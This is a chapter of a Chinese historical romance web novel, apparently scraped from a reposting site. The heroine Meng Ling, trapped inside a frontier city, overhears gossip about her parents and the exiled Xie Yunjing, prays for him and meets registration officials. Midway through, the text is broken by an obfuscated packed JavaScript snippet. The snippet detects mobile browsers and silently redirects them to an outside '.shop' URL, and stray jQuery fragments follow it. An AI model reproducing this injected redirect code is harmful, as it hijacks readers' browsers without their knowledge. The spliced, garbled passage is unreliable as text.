文趣网 > 其他小说 > 第八年逢他 > 19. 醉花间(一)
    城门轰然合拢,孟泠跌坐在地。

    城内街巷井然,茶楼酒肆阵阵飘香,贩夫走卒高声叫卖。仅一墙之隔,被隔在城外的流民拍打门板,哭喊声震天。

    她哭着去扒那门板子,被守门兵士扯着衣领一甩,后背撞在墙角上,只闻一声,“真是麻烦!”

    她强忍疼痛,抹了把脸上的泪,呆坐许久后,在城中寻了家客栈落脚。

    店小二送来热饭热菜,她举箸半晌,端着碗却迟迟送不到嘴边。想着他身上的伤,想着他半口吃食也没有,想着他一个人在城外……

    饭菜凉透了,她一口也没动。

    夜里辗转入梦,又见他浑身是血地冲她笑,惊得她猛然坐起,冷汗涔涔。

    次日一早,她终是坐不住,决意去城门口瞧瞧。

    还未走近,便闻锣鼓开道之声,旌旗招展,仪仗森严。路人奔走相告,原节度使左迁入京,新节度使今日到任。

    行军司马素来与孔见山交厚,难怪昨日可直接下令搜人,原是趁着上司交接之际钻了空子。

    正想着,她被人潮挤到路边,眼见一队人马浩浩荡荡进城,为首的锦袍玉带,威风凛凛。

    趁着这关头,她伸长脖子往外瞧,却不见半个流民身影,心随着那扇城门在仪仗过后缓缓合拢渐渐沉下去。

    身旁的茶棚里坐满了人,都是些插不进队伍的,只好在此七嘴八舌地议论着。

    “听说了没?新来的节度使姓蒋,据说是昭武将军蒋岳一手提拔上来的。”

    “昭武将军与贞顺公主夫妻恩爱,他死后,蒋家军约莫便听命于公主了。”

    “话说当年古寒关一战后,公主自请去北境当质子,那可真算得上大义。”有人捻着胡须,语气里带着几分敬仰。

    当年古寒关大败,突厥连下三城,为平外忧,贞顺公主李晋仪自请前往北境为质,此事传开,百姓无不动容。

    本是为朝廷分忧之举,旁边却有人嗤了一声,“大义?未必罢。说不准是做了甚错事,跑去躲风头的。”

    “这……这是何意?”

    “何意?你想想当年公主与孟相之间那档子事,哪回见面不争个面红耳赤?跟有仇似的。日子久了,难保哪天就起了杀心。”

    那档子事意指为何?众人心知肚明。

    昭武将军去后三年,圣人下旨赐婚贞顺公主与军中新贵孟宥,孟宥被迫卸下兵权,成了闲散驸马。

    二人婚后一年,育有一女,取名孟韫宁。

    韫宁五岁那年,公主与驸马关系日渐疏离,最终签下一纸和离书。同年,朝廷内忧外患,孟宥得重用,仅三年拜相。

    古寒关一战,谢家通敌叛国,骠骑大将军谢禹拼上祖上几代功勋,才勉强保下末子谢云旌的命,流放八年。同月,曾施以援手的孟家惨遭血洗,只余独女孟韫宁随乳娘张氏逃出长安,改名孟泠。

    她原有一个母亲,贞顺公主李晋仪。

    自此还有一个阿娘,名为张絮娘。

    孟泠也不曾想到,她如今会站在沙洲城门口,窃听众人谈论父母往事。

    记忆中,母亲甚是严厉,只偶尔流露出柔情。后父母和离,她留在孟家,与母亲半月才见上一回,故二人并不算亲厚。她逃出长安后,病了将近一月,烧得迷迷糊糊,并不知母亲自请为质,后来困于节度使府,更无人提起。

    不曾想今母亲已归国,她才得知此事。

    再回神,只见众人面面相觑,有人压低声音,“听闻孟相当年有辱蒋将军,触怒了公主。我看这二人无甚感情,照公主那脾性,牵连整个孟家也不无可能。”

    茶棚里安静了一瞬。

    深宫中的金枝玉叶,有如此的胆识与担当,本应受百姓爱戴,竟在背后受这般编排。

    孟泠气得抬脚走去,却又硬生生按下。她如今孤身一人,什么也做不了,况且公主归国根基不稳,眼下还是低调为上,别惹来什么非议才好。

    好在有人岔开了话子,“胡说什么!孟相那是为了救谢家,才落得那般下场。”

    提起谢家,便有人坐直了腰。

    “谢家那小子呢?听说流放的期限已经到了,如今不知所踪。”

    “他最好一辈子躲起来,莫要再出来祸害人了。”

    从前威风凛凛的左威卫中郎将,被流放至边陲之地,何时都是茶余饭后的谈资。

    昔日父亲在军中曾得谢大将军赏识,两家走动颇多,关系算得上亲厚。对于这位谢家阿兄,孟泠已记不清面容。他年长八岁,时常板着脸斥她顽劣,却又会在她受罚时悄悄带些喜好的吃食来逗她开心。

    人人都说谢云旌通敌叛国,可她知晓,父亲既愿出手相助,事情绝不会那么简单。只是八年已过,不知他是否尚在人世。

    ……

    至午时,众人皆散。

    孟泠漫无目的地在街上晃着,不知何时晃到一寺庙前,遂提步入内,欲借此方寸净土,暂涤愁肠。

    殿中檀香萦绕,她敛衣跪于蒲团之上,贪心地求了许多。

    求父安,求母乐,求沉冤昭雪。最后求着求着,求到了谢云旌身上。

    “谢家阿兄,不知你如今可还安好?”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17581827|204010||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “我遇见一个人,他叫孟澜,应与你年岁相仿,待我极好,我亦唤他一声阿兄。”

    “可我如今,弄丢他了……”

    她絮絮叨叨说了好些话,最后双手铺平,叩首,“愿你福寿安康,拨云见日。”

    ——

    都说新官上任三把火,如今各处战乱,百姓漂泊,节度使到任后,即刻下令紧闭城门,重造户籍。

    次日一早,便有官员找上门来。

    此人自称沙洲司户参军沈奉,身后跟着属下孙筹,问起孟泠情况。

    “我名唤孟泠,子皿孟,水令泠,自伊州来,往凉州去,奈何与阿兄于城门口失散。”她倒了两杯水递过去,哑声道,“我在这里,等我的阿兄。”

    沈奉接过杯盏,示意身后的孙筹动笔记录,又道,“眼下进出不通,待城内安顿妥当,自会再开城门。”

    他抬眸看了她一眼,顿了顿,“你不如先在城中住下,等令兄回来,让他去衙门登记即可。”

    这倒是提醒她了。登记户籍非一时半会能完成,她虽有玉瓷娘子给的钱傍身,可一直住在客栈总不是办法,便向二人打听起了赁屋之处。

    孙筹道,“出了客栈朝前走约莫四里,至城北平仁巷,即可寻得庄宅牙人。”

    后沈奉又捡了些要紧的问,不消半个时辰便结束了。

    日光愈烈,孙筹随沈奉走出客栈,一路絮絮叨叨。

    “瞧孟娘子脸上脖子上新伤叠旧伤,想必过得不容易。”

    “不过,伊州人肌肤生来粗糙,且油光发亮,孟娘子却不像……反倒像是从长安来的,与您一样。”

    沈奉脚步稍顿,后恢复如常,漫不经心提醒他,“少说话,多做事。”

    他却嘴碎,还在没完没了地说,末了一问,“属下瞧她不易,咱们可要帮一把?”

    “城里少说也有几百流民,你能一个个帮忙?”

    说罢,快步离去,独留孙筹原地挠头,暗道参军不解风情,他分明说的是孟娘子,怎的牵扯旁人了?

    片刻后,抬脚跟了上去。

    孟泠远远目送二人离去,登时松了口气。方坐下,忽然想起什么,匆匆忙忙在包裹里翻找,好一会儿才找着那朵木雕海棠。

    犹记得那夜所言,只消每日摘一片花瓣,空余花蒂时,他便会回来。

    她捧着缺了一瓣的海棠贴在心口,站在窗边念念祈求。

    一抬眼,正巧有一清瘦身影行过长街,她几乎须臾不等,拔腿追了出去。

    “阿兄!”

    她朝那背影喊了一声。